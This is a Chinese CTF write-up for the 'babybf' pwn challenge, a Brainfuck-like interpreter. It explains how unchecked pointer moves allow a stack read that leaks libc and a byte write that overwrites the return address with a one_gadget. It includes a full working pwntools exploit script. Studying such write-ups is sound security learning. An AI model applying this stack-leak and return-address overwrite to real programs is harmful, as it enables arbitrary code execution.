oin

writeup


babybf

<p>[TOC]</p> <h1>🌓分析</h1> <p>IDA的反编译不完全,需要分析汇编代码</p> <pre><code class="language-asm">.text:00000000000016A7 mov rax, [rbp+var_B0] .text:00000000000016AE lea rdx, [rax+1] .text:00000000000016B2 mov [rbp+var_B0], rdx .text:00000000000016B9 movzx eax, byte ptr [rax] .text:00000000000016BC movsx eax, al .text:00000000000016BF cdqe .text:00000000000016C1 mov rax, [rbp+rax*8+var_80] .text:00000000000016C6 jmp short loc_16F4</code></pre> <p>关键代码如图所示,<code>rbp+var_B0</code>存储的是buf保存的指针,获取该指针指向的一个字节,然后将<code>rbp+var_B0</code>值加一,为了下一轮访问,最后计算<code>rbp+rax*8+var_80</code>,也就是匹配对应的函数</p> <p><img src="https://pic.imgdb.cn/item/6383963416f2c2beb17e5246.png" alt="Img" /></p> <p>最后跳转到loc_16F4执行<code>jmp rax</code>,执行对应的函数</p> <p><img src="https://pic.imgdb.cn/item/6383968216f2c2beb17ea596.png" alt="Img" /></p> <p>其中会对输入做替换操作,替换为对应的操作函数index,这个替换表是一个256的dword数据,用IDAPython进行提取</p> <pre><code class="language-py">start = 0x2020 end = start + 256*4 li = [] for i in range(start, end, 4): li.append(get_wide_dword(i)) print(li) # [8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 2, 5, 3, 4, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 0, 9, 1, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 6, 9, 7, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9]</code></pre> <p>大部分都是index 9函数,其他index对应表位置为 1 - 0x3e 2 - 0x2b 3 - 0x2d 4 - 0x2e 5 - 0x2c 6 - 0x5b 7 - 0x5d 8 - 0x0 其中index 4函数是打印函数</p> <p><img src="https://pic.imgdb.cn/item/6383985216f2c2beb1814141.png" alt="Img" /></p> <p>但是只能打印一个字节</p> <p><img src="https://pic.imgdb.cn/item/6383992d16f2c2beb182e8ff.png" alt="Img" /></p> <p>参数是<code>rbp-0xA8</code>,该栈帧一开始存储的是</p> <p><img src="https://pic.imgdb.cn/item/63839a6116f2c2beb1855779.png" alt="Img" /></p> <p>也就是一个栈帧地址,而index 1可以对这个地址进行增加</p> <p><img src="https://pic.imgdb.cn/item/63839b1116f2c2beb185efba.png" alt="Img" /></p> <p>这样就可以直接实现栈任意读了</p> <p><img src="https://pic.imgdb.cn/item/63839cdf16f2c2beb1879273.png" alt="Img" /></p> <p>我们可以利用任意读读取libc函数地址,这个地址距离s的offset为0x58</p> <pre><code class="language-py">from pwn import* context.log_level='debug' o = process('./chall') def code(context): o.sendlineafter('len&gt; ', str(len(context))) o.sendlineafter('code&gt; ', context) code(p8(0x3e)*0x58 + (p8(0x2e) + p8(0x3e))*8) o.interactive()</code></pre> <p><img src="https://pic.imgdb.cn/item/63839e3b16f2c2beb1889b4e.png" alt="Img" /></p> <p>这样就可以计算libc地址、one_gadget地址了</p> <p><img src="https://pic.imgdb.cn/item/63839ee216f2c2beb189577c.png" alt="Img" /></p> <p>index 5函数可以修改一个字节,用泄露同样方法可以直接修改函数返回地址为one_gadeget</p> <h1>🌓Exploit</h1> <pre><code class="language-py">from pwn import* # context.log_level='debug' o = process('./chall') libc = ELF('./libc-2.27.so') def code(context): o.sendlineafter('len&gt; ', str(len(context)+1)) o.sendafter('code&gt; ', context) code(p8(0x3e)*0x58 + (p8(0x2e) + p8(0x3e))*8) libc_start_main = u64(o.recv(8)) - 231 libc_base = libc_start_main - libc.symbols['__libc_start_main'] log.info('libc_base: ' + hex(libc_base)) one_gadget = libc_base + 0x4f302 code(p8(0x3e)*0x38 + (p8(0x2c) + p8(0x3e))*8) o.sendline(p64(one_gadget)) o.interactive()</code></pre> <p><img src="https://pic.imgdb.cn/item/6383a7ba16f2c2beb1940ec2.png" alt="Img" /></p> <h1>🌓附件</h1> <p><a href="https://cowtransfer.com/s/05c6bbd989b24e">https://cowtransfer.com/s/05c6bbd989b24e</a></p>

页面列表

ITEM_HTML